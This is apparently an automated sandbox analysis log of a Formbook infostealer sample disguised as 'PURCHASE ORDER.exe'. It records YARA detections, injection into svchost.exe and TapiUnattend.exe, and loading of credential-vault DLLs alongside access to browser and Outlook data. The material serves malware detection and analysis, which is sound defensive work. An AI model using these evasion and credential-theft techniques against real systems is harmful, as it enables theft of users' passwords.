            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C70E95_2_030C70E9
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CF0E05_2_030CF0E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CF7B05_2_030CF7B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030556305_2_03055630
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C16CC5_2_030C16CC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C75715_2_030C7571
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030AD5B05_2_030AD5B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030D95C35_2_030D95C3
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CF43F5_2_030CF43F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030014605_2_03001460
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CFB765_2_030CFB76
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0302FB805_2_0302FB80
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03085BF05_2_03085BF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0304DBF95_2_0304DBF9
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CFA495_2_030CFA49
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C7A465_2_030C7A46
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03083A6C5_2_03083A6C
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03055AA05_2_03055AA0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030ADAAC5_2_030ADAAC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030B1AA35_2_030B1AA3
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030BDAC65_2_030BDAC6
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030A59105_2_030A5910
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030199505_2_03019950
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0302B9505_2_0302B950
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0307D8005_2_0307D800
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030138E05_2_030138E0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CFF095_2_030CFF09
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03011F925_2_03011F92
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CFFB15_2_030CFFB1
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03019EB05_2_03019EB0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03013D405_2_03013D40
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C1D5A5_2_030C1D5A
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030C7D735_2_030C7D73
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_0302FDC05_2_0302FDC0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_03089C325_2_03089C32
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_030CFCF25_2_030CFCF2
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005C1CD05_2_005C1CD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005BCBD05_2_005BCBD0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005BCDF05_2_005BCDF0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005BAE705_2_005BAE70
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005C53905_2_005C5390
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005C357B5_2_005C357B
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005C35805_2_005C3580
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005DBA905_2_005DBA90
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1E3365_2_02E1E336
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1E7ED5_2_02E1E7ED
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1E4535_2_02E1E453
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1CAE85_2_02E1CAE8
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1CA6F5_2_02E1CA6F
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1D8585_2_02E1D858
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_02E1D8235_2_02E1D823
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03AAEA12 appears 86 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A2B970 appears 280 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A87E54 appears 108 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03ABF290 appears 105 times
            Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A75130 appears 58 times
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: String function: 00445975 appears 65 times
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: String function: 0041171A appears 37 times
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: String function: 0041718C appears 45 times
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: String function: 0040E6D0 appears 35 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 02FFB970 appears 280 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 0307EA12 appears 86 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 03045130 appears 58 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 03057E54 appears 111 times
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: String function: 0308F290 appears 105 times
            Source: PURCHASE ORDER.exe, 00000000.00000003.2065745727.000000000488D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PURCHASE ORDER.exe
            Source: PURCHASE ORDER.exe, 00000000.00000003.2067075242.00000000046E3000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs PURCHASE ORDER.exe
            Source: PURCHASE ORDER.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000005.00000002.3899118135.0000000000B50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2460425217.0000000003D90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2464679240.0000000008EE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.3899555740.00000000025F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000005.00000002.3899170467.0000000000BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000005.00000002.3897844833.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000004.00000002.3899320408.00000000024F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000002.00000002.2454242611.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/2@9/5
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044AF5C GetLastError,FormatMessageW,0_2_0044AF5C
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00464422 OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,0_2_00464422
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045D517 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,0_2_0045D517
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0043701F CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,__wcsicoll,CloseHandle,0_2_0043701F
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0047A999 OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,_memset,_wcslen,_memset,CoCreateInstanceEx,CoSetProxyBlanket,0_2_0047A999
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0043614F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0043614F
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeFile created: C:\Users\user\AppData\Local\Temp\inhumationJump to behavior
            Source: PURCHASE ORDER.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.0000000000AA3000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2649134851.0000000000A83000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2649207622.0000000000A6E000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3898076160.0000000000A6E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
            Source: PURCHASE ORDER.exeReversingLabs: Detection: 34%
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeFile read: C:\Users\user\Desktop\PURCHASE ORDER.exeJump to behavior
            Source: unknownProcess created: C:\Users\user\Desktop\PURCHASE ORDER.exe "C:\Users\user\Desktop\PURCHASE ORDER.exe"
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PURCHASE ORDER.exe"
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PURCHASE ORDER.exe"Jump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeProcess created: C:\Windows\SysWOW64\TapiUnattend.exe "C:\Windows\SysWOW64\TapiUnattend.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: wsock32.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: version.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: winmm.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: mpr.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wdscore.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: PURCHASE ORDER.exeStatic file information: File size 1356947 > 1048576
            Source: Binary string: TapiUnattend.pdbGCTL source: svchost.exe, 00000002.00000002.2456863217.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2456791625.0000000003400000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mMtRNEqhUF.exe, 00000004.00000000.2370689547.0000000000ACE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PURCHASE ORDER.exe, 00000000.00000003.2065630185.00000000045C0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE ORDER.exe, 00000000.00000003.2066107206.0000000004760000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354795783.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353086793.0000000003600000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2470507749.0000000002E24000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2468800432.0000000002C74000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.000000000316E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PURCHASE ORDER.exe, 00000000.00000003.2065630185.00000000045C0000.00000004.00001000.00020000.00000000.sdmp, PURCHASE ORDER.exe, 00000000.00000003.2066107206.0000000004760000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.2354795783.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2457345911.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353086793.0000000003600000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, TapiUnattend.exe, 00000005.00000002.3899421463.0000000002FD0000.00000040.00001000.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2470507749.0000000002E24000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000003.2468800432.0000000002C74000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899421463.000000000316E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.000000000627C000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3898076160.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.00000000035FC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2755978265.000000000366C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: mMtRNEqhUF.exe, 00000004.00000002.3903920729.000000000627C000.00000004.80000000.00040000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3898076160.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, TapiUnattend.exe, 00000005.00000002.3899809055.00000000035FC000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2755978265.000000000366C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: TapiUnattend.pdb source: svchost.exe, 00000002.00000002.2456863217.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2456791625.0000000003400000.00000004.00000020.00020000.00000000.sdmp
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: PURCHASE ORDER.exeStatic PE information: real checksum: 0xa2135 should be: 0x14e0df
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004171D1 push ecx; ret 0_2_004171E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414856 pushfd ; ret 2_2_00414857
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417869 push edi; iretd 2_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417821 push edi; iretd 2_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E83D push es; retf 2_2_0041E84D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040717F push 00000019h; iretd 2_2_0040719C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004061B5 push esp; ret 2_2_004061BB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403240 push eax; ret 2_2_00403242
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00412268 push ds; retf 2_2_0041226D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041222B push ss; iretd 2_2_00412293
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041AAF3 push esi; iretd 2_2_0041AAFA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00412285 push ss; iretd 2_2_00412293
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00404BA0 pushad ; ret 2_2_00404BA4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414562 push ebp; retf 2_2_004145CB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414566 push ebp; retf 2_2_004145CB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00426D33 push edi; retf 2_2_00426D3C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418DBC push eax; iretd 2_2_00418DC1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00401E4C push BCBDF130h; retf 2_2_00401EB7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00401E3E push esi; iretd 2_2_00401E49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E74D pushfd ; iretd 2_2_0041E74E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00401F00 push BCBDF130h; retf 2_2_00401EB7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004177EE push edi; iretd 2_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004177F3 push edi; iretd 2_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004147F2 pushad ; iretd 2_2_004147FA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004177FD push edi; iretd 2_2_004177FC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0225F pushad ; ret 2_2_03A027F9
